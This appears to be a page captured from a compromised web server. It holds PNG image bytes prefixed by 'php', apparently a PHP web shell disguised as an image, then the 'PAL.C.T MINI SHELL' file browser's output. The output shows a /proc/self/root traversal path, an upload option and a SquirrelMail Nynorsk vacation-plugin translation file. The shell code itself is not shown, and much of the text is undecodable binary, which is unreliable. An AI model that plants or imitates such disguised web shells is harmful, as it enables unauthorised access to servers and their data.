php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/proc/self/root/usr/share/squirrelmail/locale/nn_NO/LC_MESSAGES/
upload
files >> //proc/self/root/proc/self/root/usr/share/squirrelmail/locale/nn_NO/LC_MESSAGES/vacation_local.po

# translation of vacation_local.po to Nynorsk
# This file is distributed under the same license as the vacation_local plugin.
# Copyright (c) 2005-2009 The SquirrelMail Project Team
# Ola Ketil Siqveland <olaketil@hotmail.com>, 2005
# $Id: vacation_local.po 13696 2009-05-14 06:27:08Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: vacation_local\n"
"POT-Creation-Date: 2005-07-20 17:05+0200\n"
"PO-Revision-Date: 2005-08-08 08:06+0200\n"
"Last-Translator: Ola Ketil Siqveland <olaketil@hotmail.com>\n"
"Language-Team: Nynorsk <nn@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.0.1\n"

msgid "Vacation Message"
msgstr "Bortemelding"

msgid ""
"Set up an auto-reply message and optionally forward your incoming email. "
"This can be useful when you are away on vacation."
msgstr ""
"Set opp ein automatisk svar melding og valfri vidaresending av inkomande e-"
"post. Dette kan vera nyttig når ein reise bort."

msgid "Bad characters in list of forwarding address."
msgstr "Ulovlege teikn i lista av adresser for vidaresending."

msgid "Options"
msgstr "Val"

msgid "Change Vacation Message"
msgstr "Endra bortemeldinga"

msgid "Settings Saved"
msgstr "Innstillingar lagra"

msgid "Send auto-reply to sender?"
msgstr "Send auto-svar til avsendar?"

msgid "Vacation subject:"
msgstr "Borte emne:"

msgid "Vacation message:"
msgstr "Bortemelding:"

msgid "Forward incoming messages to addresses listed below?"
msgstr "Vidaresend inkomande meldingar til adresser lista opp under?"

msgid "No local delivery; forward and/or auto-reply only."
msgstr "Inga lokal levering; vidaresend og/eller berrre auto-svar."

msgid "Forwarding email addresses (one address per line)"
msgstr "Vidaresend e-postadresser (kun ei adresse pr linje)"

msgid "Submit"
msgstr "Send"

msgid "Error: Could not bind to LDAP server."
msgstr "Feil: Kunne ikkje knytta til LDAP tenar."

msgid "Error: Could not find FTP server for %s in LDAP server."
msgstr "Feil. Kunne ikkje finna FTP-tenar for %s i LDAP tenar."

msgid "Error: Could not connect to LDAP server."
msgstr "Feil: Kunne ikkje kopla til LDAP tenar."

msgid "Error: Unable to connect to FTP server. Please try again later."
msgstr "Feil: umogleg å kopla til FTP tenar. Prøv på nytt seinare."

msgid ""
"Error: Unable to log in to FTP server. Please contact your system "
"administrator."
msgstr "Feil: Umogleg å logga inn til FTP tenar. Kontakt systemadministrator."

msgid ""
"Error: Unable to switch to passive FTP mode. Please contact your system "
"administrator."
msgstr ""
"Feil: Umogleg å bytta til passiv FTP modus. Kontakt systemadministrator."

msgid "Error: Unable to upload file. Please contact your system administrator."
msgstr "Feil: Umogleg å last opp fil. Kontakt systmadministrator."

msgid "An error occurred uploading the file:"
msgstr "Feil ved opplasting av fila:"

msgid ""
"Error: unable to download file. Please contact your system administrator."
msgstr "Feil: Umogleg å laste ned fila. Kontakt systemadministrator."

msgid "An error occurred downloading the file:"
msgstr "Feil ved nedlasting av fila:"

msgid "Error: unable to delete file. Please contact your system administrator."
msgstr "Feil: Umogleg å slette fil. Kontakt systemadministrator."

msgid "An error occurred deleting the file:"
msgstr "Feil ved sletting av fila:"

msgid "Unknown action:"
msgstr "Ukjend avbrot:"

msgid ""
"An error occurred attempting to read temp file; check permissions on "
"attachments directory."
msgstr ""
"Ein fiel oppstod ved lesing av mellombels fil, sjekk løyva på "
"vedleggkatalogen."

msgid ""
"An error occurred attempting to create temp file; check permissions on "
"attachments directory."
msgstr ""
"Ein fiel oppstod ved oppretting av mellombels fil, sjekk løyva på "
"vedleggkatalogen."
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`